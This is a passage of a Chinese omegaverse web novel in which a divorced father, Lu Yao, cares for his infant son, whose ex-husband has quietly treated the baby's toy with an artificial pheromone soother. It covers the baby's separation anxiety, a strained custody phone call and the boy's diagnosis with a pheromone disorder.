第二天醒来的时候鹿遥眼睛有点肿,他找了点冰块敷了敷,但是很快就放下。 “奶油,来吃饭了。” 昨天都没有好好遛狗,而且奶油好像也感受到了鹿遥的情绪崩溃,它一直紧紧贴在鹿遥身边不肯离开。 鹿遥有点愧疚地摸摸它,“等到下周休息日,我们到你喜欢的那个公园去玩。” 昨天的休息日过得一塌糊涂,不过鹿遥嘴上再怎么说,再看到傅晏淮他一样还是无法释怀。 昨天关于年年的话题无疾而终,鹿遥也不知道傅晏淮会不会把年年送来。 鹿遥更讨厌傅晏淮了,在生活好不容易平静下来之后,傅晏淮又出现把一切再次搞乱。 给奶油吃过饭后鹿遥照常打开阳台门,他开始新一天的工作。午休时鹿遥绕了一下路,去买宠物店的小狗玩具。 奶油的球球玩得旧了,鹿遥想给它买一个新的,也当作昨天没有出去玩的补偿。 鹿遥拎着新的玩具球和一个毛绒骨头往回走,宠物店和蛋糕店不在同一条巷子里,鹿遥和傅晏淮停在路口的车巧妙错过。 他从宠物店绕回家,一推开门奶油就兴奋地扑到鹿遥脚边嘤嘤嘤,鹿遥关门蹲下身,他拿出新的玩具在手里晃晃,“噔噔~看,这是什么!” 鹿遥被小狗的快乐轻而易举地感染,奶油完全不在意昨天每天没有出去玩,新买的两个玩具它都很喜欢,它叼住骨头绕着鹿遥一圈一圈跑。 鹿遥看着奶油轻轻笑起来,傅晏淮坐在车内,年年被放在安全座椅里。 助理在前面回头,“的确到了午休时间,姚骏说鹿先生已经离开了,或许没有走这一条路。” 年年很安静,没有睡着,也没有哭,他只是拽着小鹿玩具举到眼前玩。 傅晏淮皱眉看着他,伸手尝试把年年抱起来。傅总很显然抱孩子的次数少之又少,助理都看出了他动作的不专业。 在助理担忧的目光下,年年以一个极其别扭的姿势被他抱在怀里。 年年不高兴地努力想把胳膊伸出来,但是力气太小了没有做到,他赌气地抓紧小鹿玩具一动不动,像一坨实心糯米团子。 傅晏淮依旧冷着脸,他确认了一下年年不会掉下来就没有再换姿势,这对父子就这样别别扭扭地出发了。 鹿遥在点火煎蛋,他要做一碗阳春面当午饭。这个做起来很简单,鹿遥吃完还有时间休息一会。 傅晏淮在门外敲门,奶油警惕支起耳朵,它哒哒哒走到门口,大声汪了一声。 油烟机的声音很吵,鹿遥注意到奶油的异常匆匆往锅里倒水,他走出来没有直接开门,“谁?” 他没有快递,这个时间也不应该有人来。 鹿遥心中隐隐预感到了什么,门外的傅晏淮还没有出声,他怀里的年年努力扭了一下上半身,发出抗议的嗯嗯声。 这一声不太清晰的婴儿声让鹿遥的心脏开始剧烈跳动,傅晏淮按住年年不让他乱动,他沉声道,“是我。” 鹿遥几乎是瞬间就冲了过去,门外站着傅晏淮,年年背对着鹿遥,他按住傅晏淮的肩膀想要往上窜。 视线模糊到看不清具体的景象,鹿遥不自觉往前走了一步,他的声音在颤抖。 “年年?” 傅晏淮的心情有些微妙,鹿遥对待他和对待年年是天差地别的两种态度,他走到鹿遥身前,两人离得很近。 “我还带了一些他平时要用到的东西,先让他适应两天,如果可以的话…” 鹿遥完全没有在听傅晏淮说什么,他笨拙地把年年抱下来,空有理论知识没有实践,鹿遥抱年年并没有比傅晏淮好太多。 年年抓紧小鹿在空中扑腾了两下,看傅晏淮没有动作,他立即大声哭了起来。 年年不认得他,鹿遥心底抽痛,但他舍不得松开手。 他把年年调整姿势面对他,鹿遥眨了下眼睛让眼泪流下去,他终于看清了年年的模样。 手术内冻结的时间在此刻终于继续流动,填补上了姗姗来迟的夏天。 年年哭得一抽一抽,眼泪鼻涕全都糊到了鹿遥身上。傅晏淮不退反进,他盯着鹿遥的后颈,又往前走了一步。 有什么东西不对。 鹿遥没有贴腺体贴,可傅晏淮没有闻到焦糖信息素。 鹿遥甚是生疏地抱着年年哄,他轻拍年年的后背,“别哭,别哭…” 年年在鹿遥颈间乱蹭,傅晏淮忍不住开口,“鹿遥,先把他放下,你…” 鹿遥警惕地紧紧抱住年年,“傅先生想说什么,昨天是你同意把孩子送来的。” “我不会把他带走,你不用这么紧张。” “那我们就没什么好说的了。”鹿遥干脆道,“请你离开吧。” 鹿遥毫不客气关上门,把傅晏淮拒之门外。傅晏淮第二次来见鹿遥,鹿遥甚至没有正眼看过他。 鹿遥满心满眼都是自己的孩子,傅晏淮在门前僵硬一瞬,到底还是没有再敲门。 第48章 第 48 章 哭 年年经过几个小时的路途骤然来到一个完全陌生的环境, 不适应的情况下哭是必然的。鹿遥懊悔自己不该如此草率地任凭傅晏淮把年年带过来,可他实在又太想念自己的孩子。 奶油狗生第一次见到人类幼崽,刚刚发生的混乱一幕显然给它带来了极大的震撼。它朝着鹿遥走近两步, 仔细盯着年年,连尾巴都忘记摇了。 年年哭得抽抽搭搭地左右乱看, 鹿遥心疼但不知所措,“是饿了吗?还是困了?想要什么?” 年年透过鹿遥的手臂, 从缝隙里看到了一个毛绒绒的白团子。 奶油猝不及防和年年对视, 它小小打了个喷嚏, 耳朵Q弹乱抖。 年年惊奇地哦了一声, 短暂止住了哭。 年年哭得整张脸都红了, 鹿遥轻轻用手帮他擦眼泪, 年年抗议地大声哼哼,皱起眉头赌气盯着鹿遥的脸。 鹿遥手上的动作凝滞,他小心屏住呼吸。 鹿遥指尖温凉, 他身上已经没有信息素的味道, 但淡淡的香皂香气很干净。 年年的眼睛和鹿遥很像, 黝黑湿润,年年犹豫地停止哭泣。鹿遥微微松了口气,想把他放下来, 让他和奶油玩。 “你靠在这里坐着好不好?要不要摸摸奶油?” 鹿遥想把年年放到沙发上, 但年年却搂紧鹿遥的脖子不肯松手,他还要鹿遥抱着。 鹿遥轻拍他的后背,年年的脸紧贴着鹿遥颈侧,鹿遥的声音很温柔,年年不认得他,但也不想要鹿遥把他放下。 “是不是害怕了, 没关系,我在这里。” 年年的眼皮渐渐沉了下来,快三个小时的车程让他很疲惫,他还抓着小鹿的鹿角,小鹿在空中随着鹿遥的动作晃啊晃。 耳边轻柔的安抚逐渐模糊,年年在鹿遥不甚娴熟的手法下沉沉睡着,他在睡梦中体会到了遥远的熟悉感。 鹿遥还在绞尽脑汁平复年年的恐慌,不过年年很快安静了下来,鹿遥小心翼翼侧头去看他,发现年年已经睡得很香了。 他放轻脚步走近卧室,把年年放下,盖上毯子。年年睡着了手里还抓着玩具,鹿遥想把它拿下来,但稍稍一动年年就不安地要醒来,鹿遥就没有再动。 “是那个小鹿。” 鹿遥喃喃道,“年年喜欢就好。” 自己挑的玩具孩子很喜欢,鹿遥心情明媚起来,年年睡得很香,鹿遥不知道这并不是年年生活中的常态。他趴在床边不错眼地看着年年,他心心念念期盼了许久的孩子,无数次设想过年年出生后的样子。现在年年就在他眼前,在鹿遥触手可及的地方,他难以将自己的目光移开。 “好像像我更多一点。”鹿遥仔仔细细来回地看年年的五官,觉得不是很像傅晏淮。 他抿起唇,不愿意想起这个人。 年年的手很小,还没有鹿遥的一个手指头长,他试着点了点年年的手心,年年在睡梦中攥紧鹿遥的手指。 这一个微小的动作就让鹿遥几乎落下泪来,“年年,我的孩子…” 奶油不留缝隙地贴在鹿遥脚边,鹿遥平复了一下情绪,起身关上门,出去给奶油准备午饭。 奶油一直跟着鹿遥,这样温馨的时刻没有持续太久,因为傅晏淮又再次出现在门外。 鹿遥的好心情一扫而空,他根本不想开门,但傅晏淮的声音从门外低低响起,“年年要用的东西刚刚没有拿来。” 鹿遥冷着脸打开门,“给我吧。” 傅晏淮的反应却很古怪,他收紧手上的袋子,“我想进去看一眼年年,可以吗?” 鹿遥忍不住心生疑虑,可刚刚年年在傅晏淮怀里的确很乖,或许平常傅晏淮也时常照顾年年,所以换个环境不放心。 傅晏淮看起来实在不像是这样的慈父,可不管怎么说,年年也是他的孩子,鹿遥迟疑不知道自己该不该拒绝。 最终他还是道,“年年睡觉了。” 傅晏淮弯腰放下袋子的动作凝滞,鹿遥没有注意到这个微小的动作,傅晏淮直起身缓声问道,“他睡着了?” “嗯。”鹿遥简短道,“你看过就离开,不要把他吵醒。” 傅晏淮面色如常推门进入卧室,他此刻表现得十分绅士,只专注看着年年,没有多看房间的其他布置。 傅晏淮走近年年,弯腰定定看着他,的确是睡着了。他垂下眼看向年年手里的小鹿玩具,忽然伸手捏了两下。 人工信息素补剂没有味道,也没有任何其他效用,只能缓解新生儿的慌乱和状况不稳。 傅晏淮的动作很多余,鹿遥不明白他为什么要捏年年的小鹿,他想催促他,又怕把年年吵醒。 不过还好,傅晏淮很快就直起身,鹿遥终于松了口气,放轻动作把门关上。 “你还有别的事吗。”鹿遥站的位置离傅晏淮很远,“没有的话,你先走吧。” 傅晏淮确认鹿遥没有感觉到任何异常,他的心微微下沉,鹿遥的信息素一定出了问题,但他没有查到鹿遥的医院治疗记录。 “一直照顾年年的育婴师会在下午到,她照顾孩子的经验十分丰富。”不同于鹿遥,傅晏淮今天的话格外多,“周末我会来接年年,妈妈每周也需要看一看孩子。” 周末差不多就是安抚剂失效的日子,刚刚涂上去的剂量应该足够年年安稳几天。 傅晏淮暂时不打算告诉鹿遥年年的情况,他直觉鹿遥听到会对他更加不满。而且,年年的情况也算出乎他意料,年年在鹿遥身边好像还不错。 鹿遥沉默下来,“妈妈…文阿姨,旅行开心吗?” 傅晏淮愣了一下才想起来鹿遥说的旅行是生产前的那次,文筝回来后就听到一个接一个的坏消息,她没心思讲述旅行中的见闻,傅晏淮也就无从得知文筝旅行是不是开心。 “应该是的。”傅晏淮推测道,“旅行地点和行程都是妈妈一人计划,她应该不会不满意。” 傅晏淮的回答可以说完全就是零分,鹿遥没有再回复了。两个人都不说话,屋内气氛沉闷到喘不过气,傅晏淮也知道鹿遥现在不想理会他,他暂且先离开了。 把年年送到鹿遥身边,他的确很高兴,可是… 傅晏淮坐到车内,脸色不太好看。鹿遥对他的态度并没有发生改变,而且,他不知道鹿遥的腺体到底怎么了。 傅晏淮没有开口,助理当然也不敢擅作主张让司机开车,在经过长久的安静后,傅晏淮终于开口问道,“鹿遥好像很生我的气。” 他破天荒地去询问助理的意见,“你会哄人吗?” 助理礼貌回复,“傅总,这可能不仅仅是生气的问题呢。” 傅晏淮挑眉,“不是生气,那是什么?” 助理身上带着打工人特有的半死不活的班味,“无论您当初有什么样的打算,又有什么样的考量,从鹿先生的视角来看,就只是生产当天被离婚,孩子送去急救。” 而且傅晏淮的考量也没什么必要,助理觉得傅晏淮是高高在上习惯了,觉得鹿遥爱他是理所应当,不管怎么样鹿遥都不会变心,有恃无恐。 傅晏淮陷入沉思,这个角度他从未考虑过。 助理接着道,“您对鹿先生造成的伤害已变成既定事实,挽回的第一步或许是一个真诚的道歉。” 傅晏淮低声自语,“他会原谅我吗。” 如果鹿遥真的已经不在意他,那么他说的话做的事,还会被鹿遥放进心里吗? 这个问题超出了助理可以回答的范围,车厢内再次安静下来。 鹿遥不知道傅晏淮在想什么,他也不愿意去想所有和傅晏淮有关的事。鹿遥匆匆忙忙把面条捞出来时午休时间已经快结束了,直到这一刻他才恍然想起年年不能自己一个人在家。 奶油好奇蹲坐在客厅,看鹿遥忙得团团转。 “育婴师下午才到。”鹿遥感到了情势的严峻,“今天下午不能去店里了。” 他不知道怎么给姚骏解释自己凭空冒出来一个孩子,鹿遥只好借口有事请假。 鹿遥终于坐下,他把已经泡得口感全无的面条吃光,顺手刷干净碗,然后就去研究那一堆婴儿用品。 傅晏淮的确是没有任何经验,年年喝奶的时间、换尿布的频率、白天睡多久晚上睡多久,这些傅晏淮都没有说,因为他自己也不知道。 鹿遥迷茫地拿起一罐奶粉,“取一满勺,刮平?” “年年要喝多少。”鹿遥无措起来,“下午要喝奶吗?” 为什么奶粉拿了这么多,能喝完吗? 鹿遥又开始看摇奶器的使用说明,鹿遥已经充分意识到了育婴师的必要性。 每一样东西都让鹿遥云里雾里,他不由有些内疚,“我真的是一个不负责任的爸爸。” 卧室内响起两声不太清晰的婴儿哭声,鹿遥马上放下手里的东西去看年年。 年年已经适应了人工安抚剂,而且他现在有点不太喜欢这种感觉。 年年不舒服,所以一醒来他就委屈地哭了,鹿遥把他抱起来,“年年别害怕,爸爸在呢。” 年年哼哼唧唧地拱来拱去,鹿遥觉得这一套动作有点熟悉,和年年在肚子里时差不多。 鹿遥露出个笑,“不舒服?这样呢?这样抱着好不好?” 或许是脐带和血脉的奇妙连结,年年不舒服的哭泣很快变成撒娇的嗯嗯声,他抓着鹿遥的手指不松手。 年年黑亮的眼睛一直盯着鹿遥的脸,他不想躺在床上,就希望鹿遥一直抱他。 鹿遥很愿意满足年年的一切要求,他低下头贴了贴年年肥美的脸蛋,年年被逗得挥舞四肢笑起来。 鹿遥终于如愿以偿抱紧自己的宝宝,如果这份幸福能在四个月前来到就好了。 第49章 第 49 章 疑虑 “再往上一点点, 对,停在这里。” 育婴师到的时间比鹿遥预计的要早,她来的时候鹿遥正抱着年年手忙脚乱。 年年饿了, 鹿遥也猜出来年年饿了,但是年年不要自己躺在床上, 让奶油陪着也不行。他嚎啕大哭着紧紧攥住鹿遥的手指,鹿遥只好非常混乱地找奶瓶冲奶。 好在育婴师及时到来, 她迅速冲好奶, 年年躺在鹿遥怀里喝。 这个倾斜的角度刚刚好, 年年一手抓着小鹿, 另一手抓着鹿遥, 喝得很满足。 鹿遥有点心疼地看着年年的脸蛋, “眼睛都哭红了。” 年年一边十分用力地喝奶,一边听到声音动动眉毛努力抬头去看鹿遥。 “乖。”鹿遥连忙调整奶瓶,“喝奶。” 年年吃完鹿遥也没有把他放下来, 而是就让他坐在自己腿上靠着。 “小少爷和您很亲近。” 育婴师笑着道, “小少爷平时没有这么活泼的。” 鹿遥有点不知道这能不能算活泼, “那,这样活泼是正常的,还是平常那样是正常的?” 育婴师却并未正面回答, “小少爷性格要沉默一点, 您可以和他多相处一段时间。” 鹿遥的注意力十分轻易就被转走,他低头担忧去看年年,年年性格比较沉默吗? 年年仰起头也看鹿遥,他和鹿遥对视,年年立刻笑了出来。 年年喜欢鹿遥,他在鹿遥怀里乱动, 拱来拱去想要搂住鹿遥的脖子。 傅晏淮的长相是唯一一个一点毛病都挑不出来的优势,年年完全遗传了他的优点。年年的眼睛又和鹿遥一样圆圆的又黑又亮,鹿遥可爱得心快要化了。 年年抱住鹿遥,鹿遥紧紧贴着年年的脸,年年发出满足的嗯嗯声。 育婴师很是欣慰,年年跟在鹿遥身边是个十分正确的决定。 “您正常工作就好。”育婴师微笑道,“我在家里照顾小少爷。” 育婴师的确帮助鹿遥解决了很多问题,但更多的问题也接踵而来。 鹿遥租的房子只有一个房间,有一个年年还可以和他一起睡在卧室里,育婴师却只能睡在客厅了。 而且一个人要用的东西和三个人要用的东西还是有区别的,鹿遥想了想自己的工资,又有点犯愁起来。 “您先在沙发上凑合睡一晚,我明天去买一张折叠床。” “这些您不必操心。”育婴师宽慰他道,“需要的东西都会报给管家,他都会送来的。如果您希望换一个地方住的话,可以让傅总直接买下一间您心仪的房子。” 鹿遥听见傅晏淮迅速冷淡下来,“不用了,如果要换住所,我会自己想办法的。” 育婴师就很识趣地不再多说,她和鹿遥一起给年年洗了个澡。她教得很细,鹿遥也学得很认真,只是年年有点不配合。 “为什么一定要拿着这个小鹿呀。”鹿遥不解道,“给爸爸好不好?弄湿了的话就没办法再玩了。” 年年撅起嘴巴不愿意给出去,这个小鹿被他天天抓着玩,还放在嘴里咬,鹿遥其实想洗一下。 年年忽然整个身体翻到另一边,鹿遥连忙在下面伸手接住,以防他真的摔下去。 “小少爷比较依赖这个玩具。”有些话育婴师不能说得太清楚,她避开重点道,“以前洗澡,都是拿一些其他的哄,然后快一点洗完。” 鹿遥忍不住皱起眉,“就算再喜欢,也不会这样一直拿着不放的吧。” 婴儿都会这样吗,还是只有年年是这样。 鹿遥蹲下身耐心哄他,“小鹿一会就还给你,现在先给我,好不好?” 年年觉得很不好,他把小鹿举到眼前,垮着小脸不看鹿遥。 育婴师拿来个小黄鸭子,她捏了捏,鸭子发出吱吱声,“看这里,看这个。” 年年看向小黄鸭,育婴师示意鹿遥把小鹿拿走。 鹿遥迟疑地轻轻拎住小鹿尾巴提走,年年的手里骤然空下来,他转头大哭起来。 年年把水盆扑腾得乱七八糟,他努力伸手去够小鹿,育婴师对鹿遥道,“您先把玩具放起来,很快就洗完,到时候您再给他。” 年年脸哭得通红,他努力挥舞两截短短的胳膊要他的小鹿,鹿遥心脏仿佛被一只大手狠狠攥了一下,他不忍心再看年年了。 育婴师果然洗得很快,就是年年在这期间一直没有止住哭,洗完澡年年就化身一坨小树懒挂在鹿遥身上,抽抽搭搭地捏那个小鹿。 年年觉得很委屈,他难过地缩起脖子,紧紧贴在鹿遥怀里,不肯把脸露出来。 鹿遥万分心疼地哄了又哄,他蹙眉对育婴师问道,“就算小孩子有喜欢的玩具,但也不至于会这样,年年从出生就一直这么喜欢玩这个吗?” 育婴师为难道,“小少爷在医院住了快一个月的时间,医生说他很缺乏安全感。照顾他的人很多,但是是几名育婴师轮流替换照看,或许也有这方面的缘故,熟悉的玩具会让他感觉更舒服。” 鹿遥没想到会是这个原因,他停顿许久后失落道,“都怪我。” 要是他再小心一点就好了,年年也就不会早产,更不会一出生就送去急救不能回家。 育婴师斟酌着安慰道,“这不是您的错…” 年年哼哼的声音小了很多,只要被鹿遥抱着年年就会很快安静下来。 鹿遥抿唇转身回到卧室,年年趴在鹿遥身上,安静地拽鹿角玩。 年年趴在鹿遥身上的感觉沉甸甸的,好像回到了他还在鹿遥肚子里的时候。 年年蜷缩起来,鹿遥用手托住他。 鹿遥有些迷茫,年年的确很健康,喝奶和睡觉都很好。但他又好像不那么健康,而且是不是有点太粘人了。 这么小的孩子,粘人应该也是一件正常的事。 鹿遥暂时按下心底的疑虑,年年晚上很早就困了,他和鹿遥在同一张床上睡觉,奶油也趴在卧室的狗窝里。 第二天一早鹿遥照常出去上班,他出门的时候育婴师在给年年换尿布,鹿遥看家里没有什么异常就走了。 姚骏看到鹿遥来照常打了个招呼,“昨天你身体不舒服了吗?今天有没有好一点。” “不是,没有。”鹿遥连忙道,“是家里突然有一点事,这才耽误了。” 姚骏放下手中的活,“那你处理完了吗?这两天店里不是很忙,等到周末你再来也可以,刚好上个月你也没有休假。” “谢谢。”鹿遥感激道,“今天应该是不用的。” 姚骏仔细看着鹿遥的脸色,大老板给的报酬很丰厚,那他就得多多照顾鹿遥才行。 “需要假一定要说。”姚骏叮嘱道,“我们店也不忙。” 鹿遥再一次默默感慨自己遇上的店老板和房东人都很好,他去后厨揉面团,开始一天的工作。 小城市的工作日顾客很少,原料也要进行相应的调整。鹿遥到仓库算了一下库存,放在外面的手机却忽然响了起来。 来电的人是育婴师,鹿遥赶忙接起来,“喂?” 电话那边年年的哭声很大,不过育婴师的声音听起来还是很沉稳,“鹿先生,小少爷似乎有一些分离焦虑,您中午能不能提前一点回来呢?” 鹿遥不由紧张起来,“可以,我很快就回去,年年哭了多久了?” 育婴师沉默一瞬,从鹿遥走没多久年年就开始哭了。 育婴师带着年年在卧室换尿布喂奶擦脸,做这些的时候都还好。育婴师看今天天气不错,年年又好像想和奶油一起玩,就想到阳台让年年和小狗都晒晒太阳。 可谁知道年年在客厅里没有看到鹿遥的身影,他一直来回探头找鹿遥,想要鹿遥抱他玩。 育婴师已经尽力转移他的注意力,但年年很快就意识到鹿遥不在,于是他就惊天动地地哭了起来。 其实年年已经哭了很久,如果不是万不得已,育婴师不会打扰鹿遥。 傅晏淮给他交代的任务很清楚,一切以鹿遥为先,年年也只是来让鹿遥高兴的。 再这么哭下去年年恐怕要生病,鹿遥一听年年哭就心慌。孩子从出生起就不在他身边,满打满算他和年年待在一起的时间还不到24小时,鹿遥听完后已经无心工作了。 他匆匆走出仓库,对姚骏十分愧疚道,“不好意思,恐怕我真的需要休几天假…” 姚骏当即道,“好,店里你不用着急,先把家事处理好就行。” 鹿遥再三道歉才离开,他一路小跑着回去,还没开门就已经听到了年年哭。 鹿遥进门就连忙把年年抱过来,年年已经断断续续地哭了很久,他的嗓音听起来都有点哑了。 好不容易把年年哄好,可是他又不想和奶油玩了。年年蔫头蔫脑地趴在鹿遥肩膀上,眼睛一眨不眨地盯着墙面发呆。 鹿遥已经可以确定年年这样绝对不正常,他严肃对育婴师道,“如果年年从出生开始就是这样,那傅…傅晏淮都没有带他去看医生吗?” 育婴师左右为难,“除了发育缓慢,医院并没有诊断出有其他问题。” 鹿遥的脸上浮现怒火,“他没有好好养年年。” 那又为什么不让他看孩子?傅晏淮费了这么多心思,不就是为了把年年要走吗?一切都如他所愿,可他却根本没有好好照顾年年。 育婴师小心找补,“傅总平时也很忙,文夫人带小少爷的时间更多一些。” 现在鹿遥听什么都像是借口,他抿紧唇不再说话。鹿遥抱着年年坐到地毯上,奶油乖乖坐在旁边看着他们两个。 鹿遥握着年年肉肉的胳膊,试着让他碰了碰奶油的脑袋。 小狗好奇歪头,年年睁大眼睛看着它。 “这几天我都休息在家。” 鹿遥下定决心道,“一直到年年周末回傅家老宅。” 年年这样绝对有问题,鹿遥要在年年身边多观察一下。 第50章 第 50 章 惊醒 鹿遥一直请假到周末, 或许是因为鹿遥一直在家,年年这几天里并没有表现出什么不适应的情绪。相反,他对鹿遥的接受度越来越高, 看到鹿遥就会笑,伸手要抱抱。 鹿遥想了其他的办法, 由育婴师在一旁辅助,鹿遥抱着年年洗澡, 小鹿玩具和小鸭子并排放在一起。年年虽然还是不高兴, 但并没有之前哭得那么厉害了。 鹿遥和年年感情极速升温, 年年在一边躺着的时候奶油也会凑过去闻闻, 一切都非常和谐。 傅晏淮虽然回到京城, 但鹿遥和年年的动向他还是清楚的。育婴师会及时告知他年年有没有什么不舒服的地方, 她来的时候拿了一支人工安抚剂,但这个东西不能太过频繁地使用,尤其是年年现在已经逐渐不接受安抚剂了, 所以育婴师一直都没有拿出来。 鹿遥仔细观察了几天, 除了对那个小鹿玩具有过分偏执的占有欲, 年年在其他方面并没有表现出任何不妥。 不过年年的确是比较沉默的性格,大多数时间年年都是安安静静躺着自己玩。鹿遥抱他到院子里逛逛,年年也只是乖乖看着。 这让鹿遥或多或少有点沮丧, 年年在他肚子里的时候是很活跃的。之前每次孕期去检查, 许医生都说这是一个活泼好动的孩子。 年年无意识地捏着手里的小鹿,靠坐在鹿遥身上看奶油玩球。 “想不想和奶油玩?”鹿遥低下头问他,“小狗的毛毛也很软,你想摸摸吗?” 年年没有做出探身或者伸手的动作,育婴师在一旁劝道,“小少爷毕竟也才刚刚和奶油接触三天, 可能还不认得小狗呢。” “好吧。”鹿遥依然忧心忡忡,“年年周日才回来,麻烦你要两边跑了。” “这是我该做的。”育婴师很专业,照顾起年年来得心应手,“不过婴儿太小最好不要频繁更换环境,车程时间不算短,大人也会感到疲惫,小孩子也会适应不了的。” 育婴师委婉道,“您有没有考虑过和傅总沟通一下,让小少爷暂时先在一个固定的地方生活。” 鹿遥看着安静坐在自己腿上的一坨年年,他有点犹豫。 理智上鹿遥能明白育婴师的顾虑,并且她的担心也的确并不多余,年年太小了,这么小的小孩子很容易生病,尤其年年还是早产。 但是,鹿遥根本都不想想起傅晏淮这个人,他曾经那么真诚地期盼和傅晏淮拥有自己的家庭。现在鹿遥已经明白什么叫做痴心妄想,傅晏淮甚至连一点点颜面都不愿意留给他,万念俱灰也不过如此。 “我想让年年一直和我生活,难道傅晏淮会同意?” 鹿遥的语气有些尖锐,“我的话,还没有医生说的有分量。” 育婴师只好不再提这件事,鹿遥抱紧年年沉默下来,年年察觉到了鹿遥的情绪变化,他仰起头努力去看鹿遥。 鹿遥把年年抱起来,“宝宝,怎么了?” 年年主动去贴鹿遥的脸,鹿遥很愧疚地搂住他。 “大人都会觉得累,小孩子也一定会累的。”鹿遥也不想折腾年年,年年的身上到处都是肉肉的,他不舍地贴紧不想放手,“年年,我真的很想你。” 年年睡得早,鹿遥轻轻把卧室门关上,他看了眼时间,还不到九点。 鹿遥关上阳台门,他铺了块小毯子在院子里坐下。 初秋的夜晚稍稍有点凉,鹿遥抿了下唇,拨通了傅晏淮的号码。 他联系傅晏淮的方式大多都是在软件里发消息,鹿遥担心打扰傅晏淮的工作,但现在鹿遥却不想再考虑这些,他不在乎傅晏淮是否会被打扰到。 鹿遥还以为傅晏淮不会直接接起来,没想到刚刚拨通,傅晏淮的声音就出现在手机里。 “鹿遥?” 鹿遥这边很安静,傅晏淮只听到了鹿遥的呼吸声。 傅晏淮产生了点恍惚的错觉,时间仿佛一瞬间回到他们二人曾经同床共枕的日日夜夜,鹿遥就在他怀里睡着,在他触手可及的地方。 但很快鹿遥的声音就打破了他的回想,“年年以后长大,你打算让他在哪里生活?” 育婴师的话算是给鹿遥提醒,他不可能一直逃避下去,年年会一天天长大,他迟早会对这样的生活产生疑虑,他也会疑惑为什么自己要来回更换生活的位置。 如果换在以前,傅晏淮大约会毫不犹豫地回答京城,但这次他停顿片刻后道,“你希望他生活在哪里。” 鹿遥差点怀疑自己听错了,傅晏淮还会来听他的意见? “我说什么,难道你就会听吗?”鹿遥的声音能听出些许怒火,“我希望你能把年年的抚养权还给我,你愿意吗?” 傅晏淮竟然还真的想了一下这个问题,“抚养权在哪里都可以,不过我比较倾向于年年回到京城。” 鹿遥敏锐道,“你是默认我会回到京城吗?” 抚养权无所谓,但年年要在京城生活,鹿遥不明白傅晏淮凭什么会笃定他会回去。 傅晏淮放缓语气道,“这对所有人来说都是最好的选择,年年在京城长大会获得更多优势,这里也更适合你开展自己喜欢的事业。” 傅晏淮是真心实意地这么认为,他可以请人来选择开店地址和锁定客户群体。最重要的,鹿遥可以回到京城继续上学,这在其他地方是做不到的。 但鹿遥却很反感,“是对你来说最好的选择吧。” 傅晏淮微微错愕,他听着鹿遥加重几分的呼吸声,忽然不知道自己该说些什么。 鹿遥克制住情绪不让自己显得过于激动,“年年不能这样一直来回坐车,而且他的情况并没有你说的那么稳定。虽然我只照顾了年年几天,但我也能看出不对劲。” 鹿遥本意只是想告诉傅晏淮,他照顾孩子并不上心,但傅晏淮却问了一个很奇怪的问题,“小鹿玩具不在他旁边吗?” 鹿遥皱起眉,“每次哭的时候都要小鹿玩具,这不是就是最该担心的地方吗。” 傅晏淮捏了捏眉心,“明天我会亲自过去接他。鹿遥,你从京城离开后有没有去过医…” 鹿遥抿唇,直接把电话挂断。 他去过哪,做过什么,和傅晏淮有什么关系。 客厅内依然很安静,一楼没有开灯,傅晏淮就这样在沙发上坐着,通话挂断屏幕自动熄灭。 于是这一点点光源也没有了,年年回到了鹿遥身边,可是他还是不高兴。 鹿遥什么也不想要,傅晏淮发觉自己都没有了解过鹿遥真正喜欢什么,他和鹿遥的相处太过浅薄,也太过不在意。 原来从前的那些,都不是他理所当然会得到的。鹿遥不愿意给,傅晏淮就自然地失去了。 鹿遥先在客厅里来回走了两圈才进卧室,年年睡姿很乖,鹿遥身上凉气已经散去,他轻轻戳了一下年年的脸。 明天年年就要回京城了,虽然只离开一天,鹿遥还是忍不住想再多看看。 其实鹿遥知道傅晏淮说的是对的,年年在京城长大才是最好的选择。 “s级alpha的后代等级也一定不会低。”鹿遥轻抚过年年的脸,他的声音很低,“世界对你来说是广阔的。” 可鹿遥的确什么都没有,他给不出傅晏淮能给的万分之一,“如果是我,我也会喜欢京城的。” 傅晏淮没有其他孩子,年年应该就是傅氏集团唯一的继承人。年年有专业的育婴师团队,有营养师,有私人医院,鹿遥丝毫不怀疑年年以后会过得很好。正因如此,鹿遥不能强行把年年带走,鹿遥什么都给不起。 年年睡得很香,鹿遥的声音熟悉又温暖,他丝毫没有被打扰的迹象。 鹿遥叹了口气,他平躺看向天花板,等到年年成年后应该就不会为离异的双亲烦恼了。鹿遥只想在年年成年前照顾好他,至于他和傅晏淮。 反正都已经离婚,没有必要想太多了,他和傅晏淮之间,原本也没有什么话好说。 鹿遥暂时摒弃这些纷杂的想法,他把年年的被子拉好,在他旁边侧躺下来,准备再玩一会手机就睡觉。 这个夜晚过得还算安稳,但到半夜的时候年年忽然抽搐了一下,鹿遥迷迷糊糊地感受到动静半梦半醒,紧接着年年就大声哭了起来。 在安静的环境下,婴儿的啼哭声格外刺耳。 鹿遥能清晰感受到这次和以往的不同,年年哭得声嘶力竭,脸上还带着害怕。 小鹿玩具被他紧紧揪在手里,鹿遥想去抱他,年年都抗拒地躲开。 育婴师很快就在卧室外敲门,“鹿先生,方便我进来吗?” 鹿遥开门时万分惊慌,“年年不知道怎么就突然哭得厉害,前几天他一直睡得好好的,半夜都不会突然惊醒。” 育婴师俯身去拍年年,年年却尖利地哭得更大声,他还拼命往一旁躲。小鹿已经被揪到变形,鹿遥无措极了,“年年,年年别怕…” 育婴师为难地看了鹿遥一眼,她不知道自己该不该拿出安抚剂。一来这个东西的用量要在和医生确认后才能使用,育婴师虽然拿了一小瓶,但她不知道该喷多少。二来,她没办法和鹿遥解释。 年年哭得喘不过来气,鹿遥不能让年年自己就这样趴在一边哭,他还是连着年年和小鹿一起抱进怀里。最开始年年挣扎得很厉害,但随后也就委委屈屈不动了。 这次惊醒后的哄睡无比艰难,直到后半夜年年才终于精疲力尽地昏睡过去。 “年年是生病了吗。”鹿遥紧紧抱着年年,眼睛有点熬红了。 鹿遥严肃看着育婴师,“没有人告诉过我孩子真实的情况,他到底怎么了。” 育婴师低声道,“小少爷还在经历信息素紊乱,医生说,这个症状或许会持续很多年。”【你现在阅读的是 】 50-60 第51章 第 51 章 冷淡 信息素紊乱并不算特别严重的病症, 这表现在它不会给人体造成不可挽回的负面影响。 在年年身上表现为抽搐惊厥,焦躁不安,发育迟缓。但在医学上, 这些甚至不需要接受什么治疗,因为随着年年逐渐长大, 这些症状会自然消失。反而是过度使用人工安抚剂,可能会抑制年年腺体的正常发育。年年的基因检测β-腺体值很高, 这意味着他成年后一定会分化, 那么人工安抚剂就需要谨慎使用了。 医生也没有特别好的办法, 